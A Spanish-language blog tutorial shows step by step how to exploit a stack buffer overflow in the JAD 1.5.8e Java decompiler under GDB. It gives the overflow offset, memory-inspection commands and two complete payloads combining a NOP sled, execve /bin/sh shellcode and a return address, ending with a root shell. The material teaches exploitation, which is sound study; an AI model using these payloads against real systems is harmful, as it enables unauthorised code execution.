Buffer Overflow - ¿Todavía es posible?

Respondiendo al título del post: sí, es posible, además el más básico. Vamos a ver un ejemplo de explotación de un buffer overflow (basada en pila) en una aplicación real, en este caso JAD en su versión 1.5.8e (decompilador para Java). Vamos a hacer uso de GDB, las direcciones fuera de este entorno pueden ser diferentes, además, las direcciones que vamos a utilizar no son las únicas que funcionan, a practicar e ir modificando los ejemplos, para entender que pasa.

Se ha escogido esta aplicación, ya que es fácil de ver  cómo se explota la vulnerabilidad y sirve para practicar, dentro de GDB no será necesario buscar instrucciones de salto hacia el registro ESP o por el estilo. Si no tienes claro los registros x86, cheat_sheet.

¿Qué es lo que vamos a buscar para aprovecharnos de una vulnerabilidad de este tipo? De la manera más resumida, controlar el registro EIP (RIP en 64 bits) para alterar el funcionamiento de la aplicación y saltar a la dirección de memoria deseada y ejecutar nuestro código.

Vamos a ver unas figuras lo más simples posibles, para hacernos una idea de cómo funciona, el primer paso, tenemos que ver el desplazamiento que necesitamos para sobrescribir EIP:

Como segundo paso, buscaremos una dirección a la que saltar (donde meteremos nuestra shellcode), en este caso será en el desplazamiento que vimos en la anterior figura con As:

Otra forma de que se ejecute nuestro código es meter la shellcode en la memoria después del EIP:

Lo importante es ir probando para ver dónde conseguimos insertarnos. Todo este proceso se puede automatizar con un script, pero aquí lo vamos a hacer de forma manual, paso a paso.

Nota: las direcciones de memoria que se ponen aquí, pueden variar en tu caso, usa las que vayas obteniendo, según vayas completando los pasos.

1. Abrimos la aplicación con el debugger: 

• gdb -q jad

2. Corremos la app con nuestra primera prueba y no pasa nada: 

• run `python -c "print 'A'*5000"``

3. Seguimos con nuestras pruebas (ahora ya si se desborda):

• run `python -c "print 'A'*10000"`

4. SI seguimos haciendo pruebas, veremos que el offset es 8150, si pones 8150 A y seguido de BCDE, lo podrás comprobar, aquí se ha puesto todo As:

• run `python -c "print 'A'*8154"` 

5. Revisamos la memoria a partir del registro ESP (dirección elegida marcada):

• x/200X ($esp-8154)  

Aquí ya tenemos todo para meter nuestra shellcode y sustituir el registro EIP). No es el objetivo ver cómo escribir una shellcode, por lo que se ha utilizado la del siguiente enlace (para abrir una Shell): https://www.exploit-db.com/exploits/13425/.

Ahora para conseguir ejecutar la shellcode ejecutaremos lo siguiente (nota la forma de escribir la dirección, si no lo entiendes, consulta el siguiente enlace de la Wikipedia):

run `python -c "print '\x90'*150 + '\x89\xe6\x83\xc6\x30\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80' + 'A'*7955 + '\xb6\xac\xff\xbf'"`

¡Conseguido! Explotada la vulnerabilidad.

Ahora salimos de gdb con quit, y volvemos a entrar para comprobar que la segunda versión también funciona.

1. Volvemos a abrir la aplicación con el debugger: 

• gdb -q jad

2. Corremos el siguiente comando (para sobrescribir más allá)

• run `python -c "print 'A'*8500"`

3. Pintamos lo que tiene nuestra memoria a partir del registro ESP:

• x/40x $esp

4. Ejecutamos el siguiente comando y obtendríamos una shell:

run `python -c "print 'A'*8150 +  '\x30\xcb\xff\xbf' + '\x90'*400 + '\x89\xe6\x83\xc6\x30\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80'"`

De esta forma también lo conseguimos, bueno espero que sea de utilidad, ahora a jugar con Python, Ruby, Perl o lo que más guste y a explotar la vulnerabilidad fuera de GDB. Para que tengáis un ejemplo, podéis ver el script que está colgado en exploit-db desde mayo del 2017.

Ahora voy a poner cómo se ve el exploit corriendo en la herramienta BoomER, y que como comente es un desarrollo para el trabajo fin de máster, y que todavía le queda trabajo por hacer, por lo que no está publicada.

La siguiente captura, muestra cómo se carga un módulo, la comprobación de si es vulnerable y cómo se configura uno de sus parámetros (payload).

Por último si lanzamos el exploit con run, conseguimos una shell (en este caso whoami nos da root, porque se ha ejecutado con esos privilegios, no se ha hecho una elevación, ya que no era el objetivo):

Hasta la próxima!